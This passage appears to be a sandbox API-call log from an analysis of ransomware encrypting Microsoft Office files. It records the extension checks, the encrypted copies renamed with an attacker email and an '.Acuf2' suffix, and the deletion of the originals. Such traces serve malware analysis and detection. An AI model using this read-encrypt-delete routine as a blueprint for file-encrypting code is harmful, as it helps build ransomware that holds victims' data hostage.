	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString=".jpg") returned 4
	[0262.298] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString=".doc") returned 4
	[0262.298] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.298] lstrlenW (lpString=".docx") returned 5
	[0262.298] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.298] lstrlenW (lpString=".pdf") returned 4
	[0262.298] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString=".xls") returned 4
	[0262.298] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString=".xlsx") returned 5
	[0262.299] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.299] lstrlenW (lpString=".ppt") returned 4
	[0262.299] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.299] lstrlenW (lpString=".zip") returned 4
	[0262.299] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.299] lstrlenW (lpString=".rar") returned 4
	[0262.299] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.299] lstrlenW (lpString=".bz2") returned 4
	[0262.299] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.299] lstrlenW (lpString=".7z") returned 3
	[0262.299] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.299] lstrlenW (lpString=".dbf") returned 4
	[0262.299] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.299] lstrlenW (lpString=".1cd") returned 4
	[0262.299] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.299] lstrlenW (lpString=".jpg") returned 4
	[0262.299] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.299] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.299] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18
	[0262.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.437] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0262.437] CloseHandle (hObject=0x220) returned 1
	[0262.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 0x20
	[0262.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.466] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.466] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.924] GetLastError () returned 0x0
	[0262.924] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0262.925] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.926] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.926] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0262.926] SetEndOfFile (hFile=0x35c) returned 1
	[0262.926] CloseHandle (hObject=0x35c) returned 1
	[0262.926] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.926] SetEndOfFile (hFile=0x34c) returned 1
	[0262.928] CloseHandle (hObject=0x34c) returned 1
	[0262.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 1
	[0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.932] lstrlenW (lpString=".doc") returned 4
	[0262.932] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.932] lstrlenW (lpString=".docx") returned 5
	[0262.932] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.932] lstrlenW (lpString=".pdf") returned 4
	[0262.932] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.932] lstrlenW (lpString=".xls") returned 4
	[0262.932] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.932] lstrlenW (lpString=".xlsx") returned 5
	[0262.932] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.932] lstrlenW (lpString=".ppt") returned 4
	[0262.932] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.932] lstrlenW (lpString=".zip") returned 4
	[0262.932] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.932] lstrlenW (lpString=".rar") returned 4
	[0262.932] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.932] lstrlenW (lpString=".bz2") returned 4
	[0262.932] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.932] lstrlenW (lpString=".7z") returned 3
	[0262.932] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.932] lstrlenW (lpString=".dbf") returned 4
	[0262.932] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString=".1cd") returned 4
	[0262.933] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString=".jpg") returned 4
	[0262.933] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString=".doc") returned 4
	[0262.933] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.933] lstrlenW (lpString=".docx") returned 5
	[0262.933] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.933] lstrlenW (lpString=".pdf") returned 4
	[0262.933] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString=".xls") returned 4
	[0262.933] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString=".xlsx") returned 5
	[0262.933] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.933] lstrlenW (lpString=".ppt") returned 4
	[0262.933] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString=".zip") returned 4
	[0262.933] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString=".rar") returned 4
	[0262.933] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.933] lstrlenW (lpString=".bz2") returned 4
	[0262.933] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.933] lstrlenW (lpString=".7z") returned 3
	[0262.933] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.933] lstrlenW (lpString=".dbf") returned 4
	[0262.933] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.934] lstrlenW (lpString=".1cd") returned 4
	[0262.934] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66
	[0262.934] lstrlenW (lpString=".jpg") returned 4
	[0262.934] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.934] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0262.934] lstrlenW (lpString="MOVE.VRD") returned 8
	[0262.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.935] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1420) returned 1
	[0262.935] CloseHandle (hObject=0x35c) returned 1
	[0262.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 0x20
	[0262.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.935] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.935] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.936] GetLastError () returned 0x0
	[0262.936] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x58c, lpOverlapped=0x0) returned 1
	[0262.938] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x590, lpOverlapped=0x0) returned 1
	[0262.939] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.939] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0262.939] SetEndOfFile (hFile=0x328) returned 1
	[0262.939] CloseHandle (hObject=0x328) returned 1
	[0262.939] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.939] SetEndOfFile (hFile=0x35c) returned 1
	[0262.941] CloseHandle (hObject=0x35c) returned 1
	[0262.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 1
	[0262.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.941] lstrlenW (lpString=".doc") returned 4
	[0262.941] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.941] lstrlenW (lpString=".docx") returned 5
	[0262.941] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0262.941] lstrlenW (lpString=".pdf") returned 4
	[0262.942] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString=".xls") returned 4
	[0262.942] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.942] lstrlenW (lpString=".xlsx") returned 5
	[0262.942] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0262.942] lstrlenW (lpString=".ppt") returned 4
	[0262.942] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString=".zip") returned 4
	[0262.942] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.942] lstrlenW (lpString=".rar") returned 4
	[0262.942] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString=".bz2") returned 4
	[0262.942] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString=".7z") returned 3
	[0262.942] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString=".dbf") returned 4
	[0262.942] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString=".1cd") returned 4
	[0262.942] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString=".jpg") returned 4
	[0262.942] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.942] lstrlenW (lpString=".doc") returned 4
	[0262.942] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.942] lstrlenW (lpString=".docx") returned 5
	[0262.942] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0262.943] lstrlenW (lpString=".pdf") returned 4
	[0262.943] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString=".xls") returned 4
	[0262.943] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.943] lstrlenW (lpString=".xlsx") returned 5
	[0262.943] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0262.943] lstrlenW (lpString=".ppt") returned 4
	[0262.943] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.943] lstrlenW (lpString=".zip") returned 4
	[0262.943] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.943] lstrlenW (lpString=".rar") returned 4
	[0262.943] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString=".bz2") returned 4
	[0262.943] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString=".7z") returned 3
	[0262.943] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.943] lstrlenW (lpString=".dbf") returned 4
	[0262.943] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.943] lstrlenW (lpString=".1cd") returned 4
	[0262.943] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56
	[0262.943] lstrlenW (lpString=".jpg") returned 4
	[0262.943] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.943] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.944] lstrlenW (lpString="MPXRES.DLL") returned 10
	[0262.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.944] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=12664) returned 1
	[0262.944] CloseHandle (hObject=0x35c) returned 1
	[0262.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll")) returned 0x20
	[0262.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.944] lstrlenW (lpString=".doc") returned 4
	[0262.944] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.944] lstrlenW (lpString=".docx") returned 5
	[0262.944] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0262.944] lstrlenW (lpString=".pdf") returned 4
	[0262.944] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.944] lstrlenW (lpString=".xls") returned 4
	[0262.944] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString=".xlsx") returned 5
	[0262.945] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0262.945] lstrlenW (lpString=".ppt") returned 4
	[0262.945] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString=".zip") returned 4
	[0262.945] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString=".rar") returned 4
	[0262.945] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString=".bz2") returned 4
	[0262.945] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.945] lstrlenW (lpString=".7z") returned 3
	[0262.945] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString=".dbf") returned 4
	[0262.945] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString=".1cd") returned 4
	[0262.945] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString=".jpg") returned 4
	[0262.945] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.945] lstrlenW (lpString=".doc") returned 4
	[0262.945] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString=".docx") returned 5
	[0262.945] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0262.945] lstrlenW (lpString=".pdf") returned 4
	[0262.945] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.945] lstrlenW (lpString=".xls") returned 4
	[0262.945] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.946] lstrlenW (lpString=".xlsx") returned 5
	[0262.946] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0262.946] lstrlenW (lpString=".ppt") returned 4
	[0262.946] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.946] lstrlenW (lpString=".zip") returned 4
	[0262.946] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.946] lstrlenW (lpString=".rar") returned 4
	[0262.946] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.946] lstrlenW (lpString=".bz2") returned 4
	[0262.946] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.946] lstrlenW (lpString=".7z") returned 3
	[0262.946] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.946] lstrlenW (lpString=".dbf") returned 4
	[0262.946] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.946] lstrlenW (lpString=".1cd") returned 4
	[0262.946] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58
	[0262.946] lstrlenW (lpString=".jpg") returned 4
	[0262.946] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.946] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0262.946] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16
	[0262.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.947] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=10745972) returned 1
	[0262.947] CloseHandle (hObject=0x35c) returned 1
	[0262.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0x20
